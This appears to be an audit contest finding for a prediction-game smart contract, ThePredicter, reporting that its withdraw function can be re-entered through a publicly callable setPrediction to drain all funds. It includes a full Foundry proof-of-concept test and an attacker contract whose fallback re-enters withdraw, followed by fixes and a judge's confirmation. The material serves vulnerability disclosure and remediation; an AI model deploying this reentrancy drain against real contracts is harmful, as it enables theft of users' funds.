Submission Details
Severity:
Player with positive scores can reentrance withdraw function in thePredict contract, get all funds.
Summary
The player with positive scores and joined the match beyond one time, can get all funds in the thePredict contract.
Vulnerability Details
The attacker can reentrace this contract by passing the checkscoreBoard.clearPredictionsCount(msg.sender);
Because anyone can call setPrediction, and this function should revert if beyond the expected timestamp.
function withdraw() public {
if (!scoreBoard.isEligibleForReward(msg.sender)) {
revert ThePredicter__NotEligibleForWithdraw();
}
.....
if (reward > 0) {
scoreBoard.clearPredictionsCount(msg.sender);// attacker can bypasss this check
(bool success, ) = msg.sender.call{value: reward}("");
require(success, "Failed to withdraw");
}
}
function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)// if beyond the expected time,should revert
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Impact
Lost all funds
Tools Used
Manual
function test_poc_rewardsDistributionWithdrawAll() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
// Attacker win positive points
address attacker = address(
new AttackContractByWithdraw(
address(thePredicter),
address(scoreBoard)
)
);
vm.startPrank(attacker);
vm.deal(attacker, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(attacker);
vm.stopPrank();
vm.startPrank(attacker);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
console.log(
"thePredicter balance before:",
address(thePredicter).balance
);
console.log("attacker balance before:", address(attacker).balance);
vm.startPrank(attacker);
thePredicter.withdraw();
vm.stopPrank();
console.log(
"thePredicter balance after:",
address(thePredicter).balance
);
console.log("attacker balance after:", address(attacker).balance);
}
}
contract AttackContractByWithdraw {
ThePredicter thePredicter;
ScoreBoard scoreBoard;
constructor(address thePredicterAddress, address scoreBoardAddress) {
thePredicter = ThePredicter(thePredicterAddress);
scoreBoard = ScoreBoard(scoreBoardAddress);
}
function caculatedExpectedReward() internal returns (uint256 reward) {
uint256 entranceFee = 0.04 ether;
int8 maxScore = -1;
int256 totalPositivePoints;
int8 score = scoreBoard.getPlayerScore(address(this));
uint256 shares = uint8(score);
// can get the players length =4 by onchain data
uint256 playersLength = 4;
for (uint256 i = 0; i < playersLength; ++i) {
int8 cScore = scoreBoard.getPlayerScore(
address(thePredicter.players(i))
);
if (cScore > maxScore) maxScore = cScore;
if (cScore > 0) totalPositivePoints += cScore;
}
uint256 totalShares = uint256(totalPositivePoints);
reward = maxScore < 0
? entranceFee
: (shares * playersLength * entranceFee) / totalShares;
}
fallback() external payable {
scoreBoard.setPrediction(address(this), 1, ScoreBoard.Result.First);
scoreBoard.setPrediction(address(this), 2, ScoreBoard.Result.First);
uint256 reward = caculatedExpectedReward();
if (address(thePredicter).balance >= reward) {
thePredicter.withdraw();
}
}
}
Recommendations
-
setPrediction add modifier onlyThePredicter
-
withdraw add reentrance check:apply opnezepplin ReentrancyGuard.sol for withdraw function
ReentrancyGuard.sol
function withdraw() public nonReentrant {
if (!scoreBoard.isEligibleForReward(msg.sender)) {
revert ThePredicter__NotEligibleForWithdraw();
}
.....
if (reward > 0) {
scoreBoard.clearPredictionsCount(msg.sender);// attacker can bypasss this check
(bool success, ) = msg.sender.call{value: reward}("");
require(success, "Failed to withdraw");
}
}
function setPrediction(
address player,
uint256 matchNumber,
Result result
) public onlyThePredicter{
if (block.timestamp <= START_TIME + matchNumber * 68400 - 3600)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates
Lead Judging Commences
NightHawK about 1 year ago
Submission Judgement Published Assigned finding tags:
Multiple withdrawals are possible
`ThePredicter.withdraw` combined with `ScoreBoard.setPrediction` allows a player to withdraw rewards multiple times leading to a drain of funds in the contract.
Rewards breakdown
nSLOC
191This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.